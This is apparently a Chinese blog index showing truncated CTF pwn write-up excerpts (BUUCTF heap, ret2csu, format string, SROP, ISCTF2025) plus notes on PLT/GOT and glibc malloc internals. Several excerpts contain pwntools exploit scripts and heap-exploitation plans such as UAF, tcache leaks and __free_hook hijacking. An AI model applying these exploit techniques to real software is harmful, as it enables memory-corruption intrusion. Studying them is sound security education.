BUUCTF-NewStarCTF-2023-ezheap 题解
题目 题目链接 checksec 全开 IDA main 菜单题 menu add 一次 add 申请两个 chunk ,记为 head_chunk 和 content_chunk delete 有明显的 UAF 漏洞 show delete 后仍可以 show edit delete 后仍可以 edit read_idx read_size 攻击思路 由于一次 add 申请两个 chunk ,而一次 delete 只 free 掉 head_chunk 且不清空数据,而 delete 后仍可以 edit,所以我们可以通过两次 delete 和一次 add 获得一个 head_chunk 的控制权,进而利用 edit/show 实现 AAW/AAR 同时,在上面的操作之前 delete 掉一个 head_chunk 使之进入 tcache ,我们可以利用 chunk 的残留值泄露堆地址,实现对堆的完全控制 然而由于我们并没有操作栈的机会,也没有办法劫持 got 表,因此我们考虑去劫持 __free_hook 函数,这需要泄露 libc 基址 由于 tcache ...
BUUCTF-ZJCTF-2019-EasyHeap 题解
题目 题目链接 checksec IDA main 菜单题 menu create delete edit 有明显的堆溢出,考虑通过 fastbin 获取在 heaparray 附近的 fake chunk ,再劫持 heaparray 以实现任意地址写 got systemplt 构造合适位置的 fake chunk 0x6020ad 处有满足 size = 0x7f 的 fake chunk ,故申请 0x68 字节,使用 0x70 的 fastbin 链表 攻击思路 先利用堆溢出漏洞劫持已进入 fastbin 的 chunk 的 fd 指针为 fake chunk 地址 0x6020ad 再通过 malloc 申请这块 fake chunk ,同时在 fake chunk 写入 payload 劫持 heaparray[0] 由于我们希望通过 system(“/bin/sh”) 提权,然而 elf 中并没有 “/bin/sh” 字符串,这需要我们手动写入 更坏的是,我们似乎并没有操纵栈的机会,只能通过劫持 got 表短暂地劫持程序流程,,, 所以这里有一...
BUUCTF-NewStarCTF-2023-orwrop 题解
题目 题目链接 checksec 有 canary 保护 IDA 有沙箱,考虑 orw 可利用格式化字符串漏洞泄露 canary 然后发现 mmap 开了一个 rwx 区域 考虑栈迁移和 ret2shellcode 我们可以在第一次溢出时迁移 rbp 并再次调用溢出漏洞,然后由于 buf 的写入是以 rbp 为基准的,所以在第二次溢出时栈已迁移,可以直接在 rwx 段上布局 shellcode 实现 orw exp 123456789101112131415161718192021222324252627282930313233343536from pwn import *context.log_level = 'debug'context.arch = 'amd64'elf = ELF('ezorw')io = process('./ezorw') fmt = b'%11$p'io.recvuntil(b'sandbox\n')io.sendline(fm...
BUUCTF-NewStarCTF-ret2csu1 题解
题目 题目链接 checksec IDA csu 中有 call [r12 + rbx*8] ,令 r12 为指向 backdoor 地址的一个地址即 gift3 , rbp 为 0 即可调用 backdoor 根据 execve 的参数定义,令 rdi -> “/bin/cat\x00” 即 rdi = aBinCat , rsi = gift2 , rdx = 0 再调用 backdoor 即可 exp 1234567891011121314151617181920from pwn import *context.log_level = 'debug'context.arch = 'amd64'io = process('./ret2csu1')csu1 = p64(0x40072A)csu2 = p64(0x400710)rdi = p64(0x4007BB)rsi = p64(0x601050)backdoor = p64(0x601068)padding = 32 + 8payload = b&...
BUUCTF-jarvisoj_fm 题解
题目 题目链接 checksec IDA 利用格式化字符串漏洞篡改 x 为 4 即可,注意这里是 32 位 exp 123456789101112from pwn import *context.log_level = 'debug'context.arch = 'i386'p = process('./fm')x_addr = p32(0x804A02C)payload = x_addr + b'%11$n'p.sendline(payload)p.interactive()
BUUCTF-qctf2018_stack2 题解
题目 题目链接 checksec IDA 有一个利用 v13 越界的漏洞,直接劫持返回地址到后门即可 backdoor exp 1234567891011121314151617181920212223242526272829303132333435363738394041424344from pwn import *context.log_level = "debug"context.arch = "i386"io = process("./stack2")io.recvuntil(b"have:\n")io.sendline(b'1')io.recvuntil(b"numbers\n")io.sendline(b'1')io.recvuntil(b"exit\n")io.sendline(b'3')io.recvuntil(b"change:\n")io.sendline(...
BUUCTF-rootersctf_2019_srop 题解
题目 题目链接 checksec vmmap 注意到 0x402000 开始有 rw 权限,在没法泄露栈地址时考虑栈迁移到上面 IDA 代码很简洁,有一个栈溢出漏洞,且有 pop rax; syscall; leave; retn; gadget ,很方便进行 srop 思路 考虑利用 srop 与栈迁移,在 0x402000 处布局栈: 1234567+-------------------+| ret2gadget | 0x402010 (rsp)+-------------------+| rbp | 0x402008+-------------------+| "/bin/sh\x00" | 0x402000+-------------------+ 利用 gadget 调用 execve syscall 即可 exp 1234567891011121314151617181920212223242526272829303132333435363738394041from pwn i...
plt 和 got
在 Linux ELF 文件和动态链接机制中,这四个段(Section)共同协作,实现了位置无关代码(PIC)和延迟绑定(Lazy Binding)。 虽然它们名字很像,但功能和权限有着本质区别。我们可以将其分为两类:PLT 类(代码/执行) 和 GOT 类(数据/读写)。 1. .plt (Procedure Linkage Table - 过程链接表) 属性:代码段(权限:读取+执行 R-X)。 作用:它包含了一系列小的可执行代码片段(Stub)。 功能:当程序调用一个外部函数(如 printf)时,它实际上并不是直接跳到 printf 的地址(因为在编译阶段不知道地址),而是跳到 .plt 段中对应的条目。 内容: 第一项是特殊项,负责调用动态链接器的符号解析函数。 后续每一项对应一个外部函数,代码逻辑通常是:jmp *(.got.plt中的对应项)。 2. .got (Global Offset Table - 全局偏移表) 属性:数据段(权限:读取+写入 RW-)。 作用:用于存储全局变量的绝对地址。 功能:程序在引用全局变量时,会先到 .got 中查找该...
glibc-2.35 ptmalloc2 源码分析
重要结构 常数速查 以 64 位为准 12345678910SIZE_SZ 8MALLOC_ALIGNMENT 16MALLOC_ALIGN_MASK 0b1111MINSIZE 32TCACHE_MAX_BINS 64TCACHE_FILL_COUNT 7CHUNK_HDR_SZ 16SMALLBIN_WIDTH 16SMALLBIN_CORRECTION 0MIN_LARGE_SIZE 1024 chunk chunk 是内存分配的基本单位,它其实是一个内存块。chunk 被分配 (malloc) 后能够存储用户数据,空闲时 (free) 能够插入 bin 中,随时做好被分配的准备。 程序向操作系统申请一块连续的堆区域后,该块区域整体初始...
ISCTF2025-pwn WriteUp
sign checksec 开了 PIE 和 canary ,可能会有点棘手? IDA 攻击思路 好吧,其实只是个简单的整型编码问题,,, 注意到 2916788906 (unsigned int) 的编码 与 -1378178390 (int) 的编码相同,均为 0xADDAAAAA ,所以往 v[27] 上写入 0xADDAAAAA 就可以拿到权限啦 exp 123456789101112from pwn import *context.arch = 'amd64'context.log_level = 'debug'io = process('./sign')pid = pidof(io)[0]payload = b'A' * (27 * 4) + p64(2916788906)io.sendline(payload)io.interactive() ez_fmt checksec 开了 PIE 和 canary 欸? IDA 攻击思路 注意到有格式化字符串漏洞,故考虑第一次 rea...